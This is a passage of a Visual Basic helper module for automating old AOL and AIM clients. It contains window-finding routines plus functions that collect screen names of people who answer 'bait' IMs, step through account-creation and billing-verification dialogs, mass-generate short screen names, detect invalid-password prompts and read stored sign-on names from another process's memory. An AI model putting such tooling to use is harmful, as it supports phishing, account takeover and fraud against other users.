ElseIf Day(Date) = 4 Or Day(Date) = 24 Or Day(Date) = 5 Or Day(Date) = 6 Or Day(Date) = 7 Or Day(Date) = 8 Or Day(Date) = 9 Or Day(Date) = 10 Or Day(Date) = 11 Or Day(Date) = 12 Or Day(Date) = 13 Or Day(Date) = 14 Or Day(Date) = 15 Or Day(Date) = 16 Or Day(Date) = 17 Or Day(Date) = 18 Or Day(Date) = 19 Or Day(Date) = 20 Or Day(Date) = 25 Or Day(Date) = 26 Or Day(Date) = 27 Or Day(Date) = 28 Or Day(Date) = 29 Or Day(Date) = 30 Then
daday2$ = Day(Date) & "th"
End If
FullDate = daday$ & " " & damonth$ & " " & daday2$ & ", " & Year(Date)
End Function
Function gettime()
gettime = Format$(Now, "h:mm am/pm")
End Function
Public Sub FindBait(BaitsList As ListBox)
'finds an im that you recieved,
'if you did recieve an im, it
'will add it to the BaitsList listbox,
'and close the im
Dim IMWin As Long, imSN As String
IMWin& = FindReceivedIM
If IMWin& = 0& Then Exit Sub
imSN$ = SNfromIM(IMWin&)
BaitsList.AddItem imSN$
Call ChatSend("bait received: [" & BaitsList.ListCount & " baits]")
Call PostMessage(IMWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Function FindBuddyLists() As Long
'finds the:
' GetUser$ + "'s Buddy List(s)"
'window
Dim aol As Long, mdi As Long, bWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
bWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
If InStr(1, GetText(bWin&), "'s Buddy L") <> 0& Then
FindBuddyLists& = bWin&
Exit Function
Else
Do
bWin& = FindWindowEx(mdi&, bWin&, "AOL Child", vbNullString)
If InStr(1, GetText(bWin&), "'s Buddy L") <> 0& Then
FindBuddyLists& = bWin&
Exit Function
End If
Loop Until bWin& = 0&
End If
FindBuddyLists& = bWin&
End Function
Public Function FindCancel() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Are You Sure You Want to Cancel") <> 0& Then
FindCancel& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Are You Sure You Want to Cancel") <> 0& Then
FindCancel& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindCancel& = mWin&
End Function
Public Function FindCancel2() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Thanks for Trying!") <> 0& Then
FindCancel2& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Thanks for Trying!") <> 0& Then
FindCancel2& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindCancel2& = mWin&
End Function
Public Function FindCheckout() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long
mWin& = FindWindow("_AOL_Modal", "AOL Quick Checkout")
FindCheckout& = mWin&
End Function
Public Function FindChooseSN() As Long
'finds 1 of the modals
'in the "create" sub
Dim tWin As Long, tWin2 As Long
tWin& = FindWindow("_AOL_Modal", "Step 1 of 4: Choose a Screen Name")
tWin2& = FindWindow("_AOL_Modal", "Step 1 of 4: Choose Another Screen Name")
If tWin& <> 0& Then
FindChooseSN = tWin&
ElseIf tWin2& <> 0& Then
FindChooseSN = tWin2&
Else
FindChooseSN = 0&
End If
End Function
Public Function FindEditBuddyList() As Long
'finds the window to edit a buddy group
Dim aol As Long, mdi As Long, eWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
eWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
If InStr(1, GetText(eWin&), "Edit List") <> 0& Then
FindEditBuddyList& = eWin&
Exit Function
Else
Do
eWin& = FindWindowEx(mdi&, eWin&, "AOL Child", vbNullString)
If InStr(1, GetText(eWin&), "Edit List") <> 0& Then
FindEditBuddyList& = eWin&
Exit Function
End If
Loop Until eWin& = 0&
End If
FindEditBuddyList& = eWin&
End Function
Public Function FindGuestSignOn() As Long
'finds aol's guest signon box
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Guest Sign-On") <> 0& Then
FindGuestSignOn& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Guest Sign-On") <> 0& Then
FindGuestSignOn& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindGuestSignOn& = mWin&
End Function
Public Function FindIgnore() As Long
'finds chat ignore window
Dim aol As Long, mdi As Long, xWin As Long
Dim xCheck As Long, xIcon As Long
Dim xGlyph As Long, xStatic As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
xWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
xCheck& = FindWindowEx(xWin&, 0&, "_AOL_Checkbox", vbNullString)
xStatic& = FindWindowEx(xWin&, 0&, "_AOL_Static", vbNullString)
xGlyph& = FindWindowEx(xWin&, 0&, "_AOL_Glyph", vbNullString)
xIcon& = FindWindowEx(xWin&, 0&, "_AOL_Icon", vbNullString)
xIcon& = FindWindowEx(xWin&, xIcon&, "_AOL_Icon", vbNullString)
If GetText(xWin&) <> "Write Mail" And xCheck& <> 0& And xStatic& <> 0& And xGlyph& <> 0& And xIcon& <> 0& Then
FindIgnore& = xWin&
Exit Function
Else
Do
xWin& = FindWindowEx(mdi&, xWin&, "AOL Child", vbNullString)
xCheck& = FindWindowEx(xWin&, 0&, "_AOL_Checkbox", vbNullString)
xStatic& = FindWindowEx(xWin&, 0&, "_AOL_Static", vbNullString)
xGlyph& = FindWindowEx(xWin&, 0&, "_AOL_Glyph", vbNullString)
xIcon& = FindWindowEx(xWin&, 0&, "_AOL_Icon", vbNullString)
xIcon& = FindWindowEx(xWin&, xIcon&, "_AOL_Icon", vbNullString)
If GetText(xWin&) <> "Write Mail" And xCheck& <> 0& And xStatic& <> 0& And xGlyph& <> 0& And xIcon& <> 0& Then
FindIgnore& = xWin&
Exit Function
End If
Loop Until xWin& = 0&
End If
FindIgnore& = xWin&
End Function
Public Function FindIgnore25() As Long
'finds the chat ignore window for aol 2.5 / 3.0
Dim aol As Long, mdi As Long, xWin As Long
Dim xCheck As Long, xIcon As Long
Dim xGlyph As Long, xStatic As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
xWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
xCheck& = FindWindowEx(xWin&, 0&, "_AOL_Button", vbNullString)
xStatic& = FindWindowEx(xWin&, 0&, "_AOL_Static", vbNullString)
xGlyph& = FindWindowEx(xWin&, 0&, "_AOL_Glyph", vbNullString)
xIcon& = FindWindowEx(xWin&, 0&, "_AOL_Icon", vbNullString)
xIcon& = FindWindowEx(xWin&, xIcon&, "_AOL_Icon", vbNullString)
If GetText(xWin&) <> "Write Mail" And xCheck& <> 0& And xStatic& <> 0& And xGlyph& <> 0& And xIcon& <> 0& Then
FindIgnore25& = xWin&
Exit Function
Else
Do
xWin& = FindWindowEx(mdi&, xWin&, "AOL Child", vbNullString)
xCheck& = FindWindowEx(xWin&, 0&, "_AOL_Button", vbNullString)
xStatic& = FindWindowEx(xWin&, 0&, "_AOL_Static", vbNullString)
xGlyph& = FindWindowEx(xWin&, 0&, "_AOL_Glyph", vbNullString)
xIcon& = FindWindowEx(xWin&, 0&, "_AOL_Icon", vbNullString)
xIcon& = FindWindowEx(xWin&, xIcon&, "_AOL_Icon", vbNullString)
If GetText(xWin&) <> "Write Mail" And xCheck& <> 0& And xStatic& <> 0& And xGlyph& <> 0& And xIcon& <> 0& Then
FindIgnore25& = xWin&
Exit Function
End If
Loop Until xWin& = 0&
End If
FindIgnore25& = xWin&
End Function
Public Function FindIm() As Long
'finds an instant
'message window on aol
Dim ims As Long, imR As Long
ims& = FindSentIM&
imR& = FindReceivedIM&
If ims& <> 0& Then
FindIm& = ims&
ElseIf ims& <> 0& Then
FindIm& = imR&
Else
FindIm& = 0&
End If
End Function
Public Function FindInternet() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "official aol internet guide") <> 0& Then
FindInternet& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "the official aol internet guide") <> 0& Then
FindInternet& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindInternet& = mWin&
End Function
Public Function FindInvalidPW() As Long
'finds aol's invalid password box
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Invalid password, please re-enter:") <> 0& Then
FindInvalidPW& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, GetText(mStatic&), "Invalid password, please re-enter:") <> 0& Then
FindInvalidPW& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindInvalidPW& = mWin&
End Function
Public Function FindLocate() As Long
'finds the locate window
Dim aol As Long, mdi As Long, lWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
lWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
If InStr(1, GetText(lWin&), "Locate") <> 0& And GetText(lWin&) <> "Locate Member Online" Then
FindLocate& = lWin&
Exit Function
Else
Do
lWin& = FindWindowEx(mdi&, lWin&, "AOL Child", vbNullString)
If InStr(1, GetText(lWin&), "Locate") <> 0& And GetText(lWin&) <> "Locate Member Online" Then
FindLocate& = lWin&
Exit Function
End If
Loop Until lWin& = 0&
End If
FindLocate& = lWin&
End Function
Public Function FindMail() As Long
'finds the mail window
Dim aol As Long, mdi As Long, mWin As Long, mWin2 As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Write Mail")
mWin2& = FindWindowEx(mdi&, 0&, "AOL Child", "Compose Mail")
If mWin& <> 0& Then
FindMail& = mWin&
ElseIf mWin2& <> 0& Then
FindMail& = mWin2&
Else
FindMail& = 0&
End If
End Function
Public Function FindReceivedIM() As Long
'finds recieved im on aol
Dim aol As Long, mdi As Long, IMWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
If InStr(1, GetText(IMWin&), "Instant Message") <> 0& And InStr(1, GetText(IMWin&), ">") <> 0& Then
FindReceivedIM& = IMWin&
Exit Function
Else
Do
IMWin& = FindWindowEx(mdi&, IMWin&, "AOL Child", vbNullString)
If InStr(1, GetText(IMWin&), "Instant Message") <> 0& And InStr(1, GetText(IMWin&), ">") <> 0& Then
FindReceivedIM& = IMWin&
Exit Function
End If
Loop Until IMWin& = 0&
End If
FindReceivedIM& = IMWin&
End Function
Public Function FindRoom() As Long
'finds aol chatroom
Dim aol As Long, mdi As Long, cWin As Long, cRich As Long
Dim cList As Long, cIcon As Long, cCombo As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
FindRoom& = FindRoom25&
Exit Function
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
cWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
cRich& = FindWindowEx(cWin&, 0&, "RICHCNTL", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
cCombo& = FindWindowEx(cWin&, 0&, "_AOL_Combobox", vbNullString)
If cRich& <> 0& And cList& <> 0& And cIcon& <> 0& And cCombo& <> 0& And Left(GetText(cWin&), 3) <> "AOL" Then
FindRoom& = cWin&
Exit Function
Else
Do
cWin& = FindWindowEx(mdi&, cWin&, "AOL Child", vbNullString)
cRich& = FindWindowEx(cWin&, 0&, "RICHCNTL", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
cCombo& = FindWindowEx(cWin&, 0&, "_AOL_Combobox", vbNullString)
If cRich& <> 0& And cList& <> 0& And cIcon& <> 0& And cCombo& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
FindRoom& = cWin&
Exit Function
End If
Loop Until cWin& = 0&
End If
FindRoom& = cWin&
End Function
Public Function FindRoom25() As Long
'finds aol's chatroom on aol 2.5 and 3.0
Dim aol As Long, mdi As Long, cWin As Long, cView As Long
Dim cList As Long, cIcon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
cWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
cView& = FindWindowEx(cWin&, 0&, "_AOL_View", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
If cView& <> 0& And cList& <> 0& And cIcon& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
FindRoom25& = cWin&
Exit Function
Else
Do
cWin& = FindWindowEx(mdi&, cWin&, "AOL Child", vbNullString)
cView& = FindWindowEx(cWin&, 0&, "_AOL_View", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
If cView& <> 0& And cList& <> 0& And cIcon& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
FindRoom25& = cWin&
Exit Function
End If
Loop Until cWin& = 0&
End If
FindRoom25& = cWin&
End Function
Public Function FindSentIM() As Long
'finds sent im on aol
Dim aol As Long, mdi As Long, IMWin As Long, imString As String
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
imString$ = GetText(IMWin&)
If InStr(1, imString$, "Instant Message") <> 0& And InStr(1, imString$, ">") = 0& And InStr(1, imString$, "Send") = 0& Then
FindSentIM& = IMWin&
Exit Function
Else
Do
IMWin& = FindWindowEx(mdi&, IMWin&, "AOL Child", vbNullString)
imString$ = GetText(IMWin&)
If InStr(1, imString$, "Instant Message") <> 0& And InStr(1, imString$, ">") = 0& And InStr(1, imString$, "Send") = 0& Then
FindSentIM& = IMWin&
Exit Function
End If
Loop Until IMWin& = 0&
End If
FindSentIM& = IMWin&
End Function
Public Function FindSignOnWindow() As Long
'finds the signon window [for all aol versions]
Dim aol As Long, mdi As Long, so As Long, gb As Long, WC As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
so& = FindWindowEx(mdi&, 0&, "AOL Child", "Sign On")
gb& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye From America Online!")
WC& = FindWindowEx(mdi&, 0&, "AOL Child", "Welcome")
If so& <> 0& Then
FindSignOnWindow = so&
ElseIf gb& <> 0& Then
FindSignOnWindow = gb&
ElseIf WC& <> 0& Then
FindSignOnWindow = WC&
Else
FindSignOnWindow = 0&
End If
End Function
Public Function FindTour() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "the official aol tour guide") <> 0& Then
FindTour& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "the official aol tour guide") <> 0& Then
FindTour& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindTour& = mWin&
End Function
Public Function FindTransferWin() As Long
'finds the 'file transfer complete' modal
Dim tWin As Long, tSta As Long
tWin& = FindWindow("_AOL_Modal", vbNullString)
tSta& = FindWindowEx(tWin&, 0&, "_AOL_Static", vbNullString)
If InStr(1, GetText(tSta&), "File transfer complete") <> 0& Then
FindTransferWin& = tWin&
Exit Function
Else
Do
tWin& = FindWindowEx(0&, tWin&, "_AOL_Modal", vbNullString)
tSta& = FindWindowEx(tWin&, 0&, "_AOL_Static", vbNullString)
If InStr(1, GetText(tSta&), "File transfer complete.") <> 0& Then
FindTransferWin& = tWin&
Exit Function
End If
Loop Until tWin& = 0&
End If
If InStr(1, GetText(tSta&), "File transfer complete.") <> 0& Then
FindTransferWin& = tWin&
End If
End Function
Public Function FindUploadWin() As Long
'finds file transfer window
Dim uWin As Long
uWin& = FindWindow("_AOL_Modal", vbNullString)
If InStr(1, GetText(uWin&), "File Transfer") <> 0& Then
FindUploadWin& = uWin&
Exit Function
Else
Do
uWin& = FindWindowEx(0&, uWin&, "_AOL_Modal", vbNullString)
If InStr(1, GetText(uWin&), "File Transfer") <> 0& Then
FindUploadWin& = uWin&
Exit Function
End If
Loop Until uWin& = 0&
End If
If InStr(1, GetText(uWin&), "File Transfer") <> 0& Then
FindUploadWin& = uWin&
Else
FindUploadWin& = 0&
End If
End Function
Public Function FindVerify() As Long
'this function helps find 1
'of the modals using in the
'"createicase" function
Dim mWin As Long, mStatic As Long
mWin& = FindWindow("_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "verify your billing") <> 0& Then
FindVerify& = mWin&
Exit Function
Else
Do
mWin& = FindWindowEx(0&, mWin&, "_AOL_Modal", vbNullString)
mStatic& = FindWindowEx(mWin&, 0&, "_AOL_Static", vbNullString)
If mStatic& <> 0& And InStr(1, LCase(GetText(mStatic&)), "verify your billing") <> 0& Then
FindVerify& = mWin&
Exit Function
End If
Loop Until mWin& = 0&
End If
FindVerify& = mWin&
End Function
Public Function FindWelcome() As Long
'returns the hWnd of the welcome window
Dim aol As Long, mdi As Long, wWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
wWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
If InStr(1, GetText(wWin&), "Welcome, ") <> 0& Then
FindWelcome = wWin&
Exit Function
Else
Do
DoEvents
wWin& = FindWindowEx(mdi&, wWin&, "AOL Child", vbNullString)
If InStr(1, GetText(wWin&), "Welcome, ") <> 0& Then
FindWelcome = wWin&
Exit Function
End If
Loop Until wWin& = 0&
FindWelcome = wWin&
Exit Function
End If
FindWelcome = wWin&
End Function
Public Sub FormCircle(frm As Form, size As Long)
Dim e As Long
'makes for do a circle.. [as seen in pH]
'make size between 1 and 100 about..
'example:
'
'Call FormCircle(Me, 20)
For e& = size& - 1 To 0 Step -1
frm.Left = frm.Left - e&
frm.Top = frm.Top + (size& - e&)
Next e&
For e& = size& - 1 To 0 Step -1
frm.Left = frm.Left + (size& - e&)
frm.Top = frm.Top + e&
Next e&
For e& = size& - 1 To 0 Step -1
frm.Left = frm.Left + e&
frm.Top = frm.Top - (size& - e&)
Next e&
For e& = size& - 1 To 0 Step -1
frm.Left = frm.Left - (size& - e&)
frm.Top = frm.Top - e&
Next e&
End Sub
Public Sub FormDrag(frm As Form)
'self explanatory
Call ReleaseCapture
Call SendMessage(frm.hWnd, WM_SYSCOMMAND, WM_MOVE, 0)
Call SnapCheck(frm)
End Sub
Public Sub FormFlash(frm As Form)
Dim frmColor As Double, lngCount As Long
'flashes the specified form
frmColor = frm.BackColor
For lngCount& = 1& To 10&
frm.BackColor = &HFF&
pause (0.001)
frm.BackColor = &H80FF&
pause (0.001)
frm.BackColor = &HFFFF&
pause (0.001)
frm.BackColor = &HFF00&
pause (0.001)
frm.BackColor = &HFF0000
pause (0.001)
frm.BackColor = &HFF00FF
pause (0.001)
Next lngCount&
frm.BackColor = frmColor
End Sub
Public Sub FormNotOnTop(frm As Form)
'self explanatory
Call SetWindowPos(frm.hWnd, HWND_NOTOPMOST, 0&, 0&, 0&, 0&, FLAGS)
End Sub
Public Sub FormOntop(frm As Form)
'self explanatory
Call SetWindowPos(frm.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, FLAGS)
End Sub
Public Sub Generate3Letters(HowManySNs As Integer, list As ListBox)
'self explanatory
'thx db
Dim AlphaNumericString As String, AlphaString As String
Dim strLetter As String, SN As String, RandomTime As String
Dim rndX As Integer, rndY As Integer, MakinSNs As Integer, i As Long
Randomize
RandomTime = Int(10 * Rnd)
If RandomTime = 10 Then RandomTime = 9
AlphaNumericString = "1234567890abcdefghijklmnopqrstuvwxyz"
AlphaString = "abcdefghijklmnopqrstuvwxyz"
Do While MakinSNs <> HowManySNs
DoEvents
SN = ""
For i = 0 To RandomTime
rndX = Int((26 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaString, rndX, 1)
SN = SN + strLetter
For i = 0 To HowManySNs
rndY = Int((36 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaNumericString, rndY, 1)
SN = SN + strLetter
For i = 0 To RandomTime
rndY = Int((36 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaNumericString, rndY, 1)
SN = SN + strLetter
list.AddItem SN
MakinSNs = MakinSNs + 1
Loop
End Sub
Public Sub Generate3Letters_LettersOnly(HowManySNs As Integer, list As ListBox)
'self explanatory
'thx db
Dim AlphaNumericString As String, AlphaString As String
Dim strLetter As String, SN As String, RandomTime As String
Dim rndX As Integer, rndY As Integer, MakinSNs As Integer, i As Long
Randomize
RandomTime = Int(10 * Rnd)
If RandomTime = 10 Then RandomTime = 9
AlphaNumericString = "1234567890abcdefghijklmnopqrstuvwxyz"
AlphaString = "abcdefghijklmnopqrstuvwxyz"
Do While MakinSNs <> HowManySNs
DoEvents
SN = ""
For i = 0 To RandomTime
rndX = Int((26 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaString, rndX, 1)
SN = SN + strLetter
For i = 0 To HowManySNs
rndY = Int((26 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaString, rndY, 1)
SN = SN + strLetter
For i = 0 To RandomTime
rndY = Int((26 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaString, rndY, 1)
SN = SN + strLetter
list.AddItem SN
MakinSNs = MakinSNs + 1
Loop
End Sub
Public Sub Generate3Letters_Vowels(HowManySNs As Integer, list As ListBox)
'self explanatory
'makes middle chr of the 3 letter be a vowel
'[chances are it will spell / sound like a real word]
Dim AlphaNumericString As String, AlphaString As String
Dim strLetter As String, SN As String, RandomTime As String
Dim rndX As Integer, rndY As Integer, MakinSNs As Integer
Dim VowelString As String, i As Long
Randomize
RandomTime = Int(10 * Rnd)
If RandomTime = 10 Then RandomTime = 9
AlphaNumericString = "1234567890abcdefghijklmnopqrstuvwxyz"
VowelString = "aeiouy"
AlphaString = "abcdefghijklmnopqrstuvwxyz"
Do While MakinSNs <> HowManySNs
DoEvents
SN = ""
For i = 0 To RandomTime
rndX = Int((26 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaString, rndX, 1)
SN = SN + strLetter
Before2nd:
For i = 0 To HowManySNs
rndY = Int((6 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(VowelString, rndY, 1)
If IsNumeric(strLetter) = True Then GoTo Before2nd
SN = SN + strLetter
Before3rd:
For i = 0 To RandomTime
rndY = Int((36 - 1 + 1) * Rnd + 1)
Next i
strLetter = Mid(AlphaNumericString, rndY, 1)
If IsNumeric(strLetter) = True Then GoTo Before2nd
SN = SN + strLetter
list.AddItem SN
MakinSNs = MakinSNs + 1
Loop
End Sub
Public Function GetChatText() As String
'gets the text from a aol 4.0 chat room
Dim rWin As Long, rCNTL As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
GetChatText = GetChatText25
Exit Function
End If
rWin& = FindRoom&
If rWin& = 0& Then GetChatText$ = "": Exit Function
rCNTL& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
GetChatText$ = GetText(rCNTL&)
End Function
Public Function GetChatText25() As String
'gets the text from a aol 2.5 or 3.0 chat room
Dim rWin As Long, rView As Long
rWin& = FindRoom25&
If rWin& = 0& Then GetChatText25$ = "": Exit Function
rView& = FindWindowEx(rWin&, 0&, "_AOL_View", vbNullString)
GetChatText25$ = GetText(rView&)
End Function
Public Function GetaimSN()
Dim Window&, Caption$
Window& = FindWindow("_Oscar_BuddylistWin", vbNullString)
If Window& = 0 Then
GetaimSN = "n/a"
Exit Function
End If
Caption$ = GetCaption(Window&)
GetaimSN = Left(Caption$, InStr(Caption$, "'") - 1)
End Function
Public Function GetCaption(WindowHandle As Long) As String
Dim buffer As String, textlength As Long
textlength& = GetWindowTextLength(WindowHandle&)
buffer$ = String(textlength&, 0&)
Call GetWindowText(WindowHandle&, buffer$, textlength& + 1)
GetCaption$ = buffer$
End Function
Public Function GetFileName(file As String) As String
'gets the actual filename w/o the folders..
'example:
'strFN$ = GetFileName("c:\windows\desktop\kai.exe")
'that would make the variable 'strFN' = "kai.exe"
'i hope that explains it
Dim gFN As Long, gChr As String, gString As String
For gFN = 1 To Len(file$)
gChr$ = Mid(file$, gFN&, 1)
If gChr$ = "\" Then
gString$ = Right(file$, Len(file$) - gFN&)
End If
Next gFN
GetFileName$ = gString$
End Function
Public Function GetFromINI(AppName As String, KeyName As String, FileName As String) As String
'gets from ini
'i might write an example
'on how to use ini's
'a little later
Dim strBuf As String
strBuf = String(750, Chr(0))
KeyName$ = LCase$(KeyName$)
GetFromINI$ = Left(strBuf, GetPrivateProfileString(AppName$, ByVal KeyName$, "", strBuf, Len(strBuf), FileName$))
End Function
Public Function GetSignonSN(Index As Long) As String
'gets signon screen name.. using 'index'
On Error Resume Next
Dim aol As Long, mdi As Long, win As Long, Combo As Long
Dim oCombo As Long, oReal As Long
Dim cProcess As Long, itmHold As Long, screenname As String
Dim psnHold As Long, rBytes As Long
Dim rList As Long, sThread As Long, mThread As Long
win& = FindSignOnWindow
If win& = 0& Then GetSignonSN = "": Exit Function
Combo& = FindWindowEx(win&, 0&, "_AOL_Combobox", vbNullString)
oCombo& = FindWindow("#32769", vbNullString)
oReal& = FindWindowEx(oCombo&, 0&, "ComboLBox", vbNullString)
rList = Combo ' oReal&
Call SendMessage(Combo&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(Combo&, WM_LBUTTONUP, 0&, 0&)
sThread& = GetWindowThreadProcessId(rList, cProcess&)
mThread& = OpenProcess(PROCESS_READ Or RIGHTS_REQUIRED, False, cProcess&)
If mThread& Then
If Index& < SendMessage(rList, CB_GETCOUNT, 0, 0) Then
screenname$ = String$(4, vbNullChar)
itmHold& = SendMessage(rList, CB_GETITEMDATA, ByVal CLng(Index&), ByVal 0&)
itmHold& = itmHold& + 24
Call ReadProcessMemory(mThread&, itmHold&, screenname$, 4, rBytes)
Call CopyMemory(psnHold&, ByVal screenname$, 4)
psnHold& = psnHold& + 6
screenname$ = String$(16, vbNullChar)
Call ReadProcessMemory(mThread&, psnHold&, screenname$, Len(screenname$), rBytes&)
screenname$ = Left$(screenname$, InStr(screenname$, vbNullChar) - 1)
GetSignonSN = screenname$
Call CloseHandle(mThread)
Else
GetSignonSN = ""
End If
End If
Call SendMessage(Combo&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(Combo&, WM_LBUTTONUP, 0&, 0&)
End Function
Public Function GetText(hWnd As Long) As String
'gets the text of any window using it's handle
Dim tLen As Long, tBuf As String
tLen& = SendMessage(hWnd&, WM_GETTEXTLENGTH, 0&, 0&)
tBuf$ = String(tLen&, 0&)
Call SendMessageByString(hWnd&, WM_GETTEXT, tLen& + 1, tBuf$)
GetText$ = tBuf$
End Function
Public Function GetUser() As String
'current aol user
